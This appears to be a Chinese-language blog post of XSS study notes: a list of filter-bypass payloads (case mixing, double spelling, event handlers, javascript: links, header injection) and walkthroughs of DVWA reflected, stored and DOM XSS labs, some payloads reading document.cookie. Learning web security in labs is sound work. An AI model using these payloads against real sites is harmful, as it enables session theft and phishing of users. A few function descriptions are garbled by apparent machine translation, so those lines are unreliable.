XSS
  cnXwnAb35Qp3 2023年11月13日 21 0

alert():警告弹窗

XSS_大小写

confirm():确定弹窗

XSS_大小写_02

prompt():提示弹窗

XSS_漏洞利用_03

payload

关键字测试:onfocus <script> <a href=javascript:alert()>

' sRc DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()>; &arg02=" ' sRc DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()>;

插入一段js代码,get传参
url?name=<script>alert()</script>

闭合掉双引号--闭合绕过
">  <script>alert()</script>  <"

onfocus事件------可以利用这个事件来绕过<>号的过滤已达到执行js的目的
onfocus可以绕过html实体化(即<>号的过滤)
' onfocus=javascript:alert() '     单引号
" onfocus=javascript:alert() "     双引号


a href标签法-----可以插入标签(如<a>标签的href属性)达到js执行的效果,前提是闭合号<"">没失效
href属性的意思是 当标签<a>被点击的时候,就会触发执行转跳,
上面是转跳到一个网站,我们还可以触发执行一段js代码

"> <a href=javascript:alert()>xxx</a> <"


大小写过滤

"> <sCript>alert()</sCript> <"
" Onfocus=javascript:alert() "
"> <a hRef=javascript:alert()>x</a> <"

双拼写绕过
"> <a hrehreff=javasscriptcript:alert()>x</a> <"


href的隐藏属性自动Unicode解码

先插入一段js伪协议
javascript:alert()
利用工具进行unicode编码    https://www.matools.com/code-convert-unicode

javascript:alert()
直接插入href里


get传参t_sort
隐藏的input标签可以插入type="text"显示 
?t_sort=" onfocus=javascript:alert() type="text

referer头
Referer: " sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> j
把><给删掉,可以用onfocus构造http头
Referer: " onfocus=javascript:alert() type="text

User-Agent头
" onfocus=javascript:alert() type="text



ng-include
ng-include指令就是文件包涵的意思,用来包涵外部的html文件,如果包涵的内容是地址,需要加引号

?src='/level1.php?name=<img src=1 onmouseover=alert()>'

空格替换成回车的url编码
<svg%0Aonload=alert(1)>

标签插入新姿势,<img>标签与<iframe>标签插入

这里配合onerror属性,插入一个<img>标签,闭合掉双引号跟括号
"> <img src='666' onerror=alert()> <"

当鼠标移出图片的时候执行的属性onmouseout 

"> <img src=666 onmouseout="alert()"> <"

②当鼠标移动到图片的时候执行的属性onmouseover

"> <img src=1 onmouseover="alert()"> <"


跨站脚本攻击漏洞

危害

获取用户信息;(如浏览器信息,IP地址,cookie信息等)

钓鱼;(利用xss漏洞构造出一个登录框,骗取用户账户密码,提示登录过期,模拟一个网站的登录框,将用户名、密码发送到攻击者服务器

注入木马或广告链接

后台增删改网站数据等操作

xss蠕虫(微博蠕虫:只要扛过某人的微信就是自动关注某人;贴吧蠕虫:看过某个帖子,就会自动回复这个帖子)

反射性xss

见框就插,改url参数

经典测试   <script>alert("hack")</script>
大写绕过   <SCRIPT>alert("hack")</SCRIPT>
双写绕过   <scr<script>ipt>>alert("xss")</script>
其他标签   <img src=1 onerror=alert("hack")/>



Xss反射型:

反射型Xss <全称跨站脚本攻击,是一种在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。

low级别:

分析:

arrary_key_exists()函数:判断$_GET的值是否存在“name”键名。并且$_GET['name']的值是否不为空,满足这些条件

直接输出下面的输出语句。可以看到,代码直接引用了name参数,并没有任何的过滤与检查,存在明显的xss漏洞。

漏洞利用构造语句:

<script>alert('XSS')</script> js和html有一个特性(创建了一个标签必须要比这个标签进行闭合)<title></title><body></body>



Medium级别:

分析:

这里对输入进行了过滤,基于黑名单的思想,使用str_replace函数将输入的<script>转化为空。然后在将name值输出。

这种防护机制是可以被轻送绕过的。

漏洞利用构造语句:

1.大小写混淆绕过(str_replace()函数不太完美,因为它区分大小写。)

<ScRipt>alert(/XSS/)</script>

<SCRIPT>alert(/xss/)</SCRIPT>

2.复写绕过 拼接:

<sc<script>ript>alert(/xss/)</script>

3.构造语句不适用<script>标签进行绕过

<img src=1 onerror=alert(/xss/)>

4.可弹出cookie值

<iframe src="" onload="alert(document.cookie)"></iframe>

标签解释:<img ..>标签是添加一个图片,src是指定图片的url,onerror是指定加载图片时如果出现错误则要执行的事件,

这里我们的图片url肯定是错误的,这个弹框事件也必定会执行



High级别:

分析:

High级别的代码同样使用黑名单过滤输入,preg_replace() 函数将包含<script的字符,不管大小写,不管后面跟着1个或多个与之相同的字符都转换为空。

用于正则表达式的搜索和替换,这使得双写绕过、大小写混淆绕过(正则表达式中i表示不区分大小写)不再有效。

漏洞利用构造语句:

<img src=1 onerror=alert(/xss/)>


Xss存储型:

存储型XSS是指应用程序直接将攻击者提交的具有恶意代码存储到后台

在显示数据页面被访问时恶意脚本在浏览器因html注入导致页面执行恶意代码从而被攻击者控制浏览器

low级别:

修剪(字符串,字符列表)函数移除字符串两侧的空白字符或其他预定义字符,

预定义字符包括, \吨, \n, \X0B, \r以及空格,可选参数charlist支持添加额外需要删除的字符。

mysql_real_escape_string(字符串,连接)

函数法定字符串中的特殊符号(\ x00,\ n,\ r,\,',“,\ x1a)进行转义。斜线(字符串)函数删除字符串中的反斜杠。

可以看到,对输入没有做XSS方面的过滤与检查,并且存储在数据库中,因此这里存在明显的存储类型XSS中断。

漏洞利用构造语句:

1.<script>alert(/xss/)</script>

2.<script>alert(document.cookie)</script>

3.<img src="" onerror="alert(/xss/)"/>

可弹出cookice值

4.<iframe src="" onload="alert(document.cookie)"></iframe>



Medium级别:

用strip_tags()函数剥去字符串中的HTML,XML以及PHP的标签,但允许使用的<b>标签。

addlashes()函数返回在预定义字符(单引号,双引号,反斜杠,NULL)之前添加反斜杠的字符串。

可以看到,由于对消息参数使用了html特殊字符函数进行编码,因此无法再通过消息参数注入XSS代码,但是对于名称参数,只是简单过滤了<script>字符串,仍然存在存储型的XSS

漏洞利用构造语句:

1.<sc<script>ript>alert(/xss/)</script>

2.<sCrIpt>alert(document.cookie)</scRipT>

3.<img src="" onerror="alert(/xss/)"/>

4.<iframe src="" onload="alert(document.cookie)"></iframe>

High级别:

可以看到,这里使用正则表达式过滤了<script>标签,但是却忽略了img,iframe等其他危险的标签,因此名称参数依旧存在存储类型XSS。

漏洞利用构造语句:

1.<img src="" onerror="alert(/xss/)"/>

2.<iframe src="" onload="alert(document.cookie)"></iframe>


XSS DOM:

DOM XSS漏洞的产生

DOM—based XSS漏洞是基于文档对象模型Document Objeet Model,DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口,

它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,

如uRI,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,

如果DOM中的数据没有经过严格确认,就会产生DOM—based XSS漏洞。

low级别:

漏洞利用构造语句:

1.<script>alert(/XSS/)</script>



Medium级别:

漏洞利用构造语句:

1.</option></select><img src=1 onerror=alert(/xss/)>


High级别:

漏洞构造语句:

1.#<script>alert(/xss/)</script>

【版权声明】本文内容来自摩杜云社区用户原创、第三方投稿、转载,内容版权归原作者所有。本网站的目的在于传递更多信息,不拥有版权,亦不承担相应法律责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@moduyun.com

  1. 分享:
最后一次编辑于 2023年11月13日 0

暂无评论

推荐阅读
XSS
  cnXwnAb35Qp3   2023年11月13日   22   0   0 漏洞利用大小写字符串
  cnXwnAb35Qp3   2023年11月13日   172   0   0 phpico字符串